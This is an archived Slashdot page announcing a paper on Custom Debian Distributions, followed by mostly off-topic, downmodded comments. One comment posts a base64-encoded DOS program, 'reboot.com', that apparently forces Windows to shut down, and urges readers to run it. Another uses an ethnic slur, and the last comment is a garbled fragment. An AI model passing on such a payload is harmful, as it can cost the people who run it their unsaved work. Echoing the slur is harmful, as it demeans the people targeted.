Slashdot Mirror

← Back to Stories (view on slashdot.org)

Custom Debian Distributions

Posted by michael on from the something-for-everyone dept.

Andreas Tille writes "When the first Custom Debian Distribution - Debian Junior - started in the beginning of 2000 we did not expect that this would perhaps lead to a new way Debian could support its end users in general. The next step forward was done in DebConf3 in Oslo when several developers who care about Custom Debian Distributions met in person and decided to work together more closely. Finally at OSWC conference in Malaga took place a workshop aiming at exactly this issue. The result of the conference was to write a paper about Custom Debian Distributions to explain to the public what we had done and what we want to do. This is an implicit call for participation for all those people inside and outside Debian who work on the same goal: Enhance the role of Debian as the missing link between upstream software developers and end users."

10 of 203 comments (clear)

  1. FP by Anonymous Coward · · Score: -1, Offtopic

    ha

  2. More bombs in Spain by Anonymous Coward · · Score: -1, Offtopic
    So, you're cowardly pulling out of Iraq and your railways are still under a bomb-threat.

    Nice work. You thought that if you just surrendered the raghead terrorists would leave you alone. Well, no such luck.

    1. Re:More bombs in Spain by Anonymous Coward · · Score: -1, Offtopic

      Ya but those ones are from the CIA not al-qaeda.

  3. Run this on windoze by Anonymous Coward · · Score: -1, Offtopic

    begin-base64 666 reboot.com /L0gAYtuAIumAgCLngQAtErNIaEsAImGGgCLngAA/+PkA4kCfA OMA6YCzwNT
    6DIAAFBBVEg9Q09NRVhFQkFUAAAAAEJhZCBjb2 1tYW5kIG9yIG ZpbGUgbmFt
    ZQ0KAC9DIABbiXcPiX8Ri5YKAIPCBMZHMQDGBw CL+jPJCg91c1 JWM9KAfAE6
    dQ2KFIDi34DqQKWDRw8CgDxcdBywXKpWi/e0R8 0hXjLAuUAA8q 5PgH3/XHQD
    sFyqM8CsPS4udQ79sFy5EgDyrvKu/Efr7KqK4D xcdQP+RzE8AH XeT4vX/bkF
    ALAu8q78dQNHi9eL+l5a6yWAfzEAdQiLdw//V/ ZzCI13E/9X9O t7uUkArDwg
    dgc8LnQDquL0sC6qjXcGuQMApaQywKpSVlGL8v 9X+lleWnMKg+ 8E4un+B+k7 /4P5AXUzjXcug+oDi/qlpDLAufwA8q7GRf8gi3cROEz/dwOKTP /zpMYFDYvy
    i8crwohE//9X8usPi38RT/4NV4vy/1f4X/4FW8 OmAiADU+gAAF uL/k8eioYe
    AFD/V/ou/1f4WIiGHgAfW8NT6CAAAERVTU1ZIC AgRkNCAAAAAA BEVU1NWSAg
    IEZDQgAAAABbHgaJpgIAV1aL90aNP7gDKc0hjX 8QuAMpzSFeXw 6NVxBSDo0X
    Ug5XLqEsAFCL3LgAS4vWzSG9IAEui24AjMv6jt OLpgIA+/wHH7 RNzSGIhh4A
    W8M2A1PoBwBDT01TUEVDW7oHAIvz/1f6W8NTUV cGjoYaADP/i9 6L84vK86Z0
    FDLAuf//8q4mgD0AdeuL9wYf+esZi/cGH6w8PX X7gDwAdOusCs ByBDwgcvdO
    +AdfWVvDihRGCtJ0BrQCzSHr88M2A1PoBABQQV RIW1JWHroEAI vz/1f6SeML
    rArAdCQ8O3X36/KsPDt0BwrAdAOq6/QOHyaAff 9cdAOwXKr4H1 5aW8P56/iL
    17QazSGL1jPJtE7NIXIEg8ce+MMyBEQGpQBGBk cHSAhJCbAguQ kAR/KusAhE
    16Ia1IsAAFJVTkRMTDMyLmV4ZQAfIHNoZWxsMz IuZGxsLFNIRX hpdFdpbmRv
    d3NFeCAyDQCNtiAAjb4uALgsAf/QuABMzSE=
    ====

  4. CRAIG MACK. 1000 DEGREES. by Anonymous Coward · · Score: -1, Offtopic

    To your gut.
    Did your girl's butt.
    Scraped it,
    Shaped it.

    Now she won't strut.

  5. Re:Debian has surpassed many goals.. by MrRuslan · · Score: 0, Offtopic

    Debian has very good tools but I would they are no where near as flexible as BSD's ports or Gentoo's portage...IMHO

  6. Re:What about the Debian distribution for lawyers? by Anonymous Coward · · Score: -1, Offtopic

    I concur. Lawyer, burn in hell.

  7. Re:It begins at home by ChimaObialo · · Score: 0, Offtopic

    Well, my school considers computer science a branch of engineering, so what you gotta say now, my fellow stupid?

  8. Re:Debian continues to improve! by bogie · · Score: 0, Offtopic

    "Debian has the potential to be the "one true distribution" "

    Not as long as many Debian users continue to think like this. The elitist attitude is still there and the price of entry ie horrible newbie unfriendly installer present a high barrier of entry.

    http://slashdot.org/comments.pl?sid=1026 83&cid=8747288

    In many ways I feel that Debian is the most important Linux distro. It is now and will forever be Open Source. There are a ton of volunteers and it is mostly Free from commerical influence. But ease of install and a sometimes elitist hacker community continue to hold it back. Look at the guy I quoted above. His attitude is that Debian users are "special" and that if you don't like them go away. That's the type of attitude that forces people to distros like Mandrake, Lindows, Xandros etc in droves.

    Of course there are many helpful Debian users out there but being that Debian is a little hard to get used to begin with whenever someone makes a post like that it just turns people off to Debian in general.

    Debian sat around too long while all the other distros became moron proof to install and easy to maintain with nice gui tools. I can only hope that the new installer combined with the Gnome System Tools finally lets Debian reach parity with some of the other distros out there. I'd hate to see in 2010 most Linux users running proprietary distros like Lindows because mainline Debian is still a pain to install and maintain for the average user.

    --
    If you wanna get rich, you know that payback is a bitch
  9. m!od Up by Anonymous Coward · · Score: -1, Offtopic

    paRties). At THE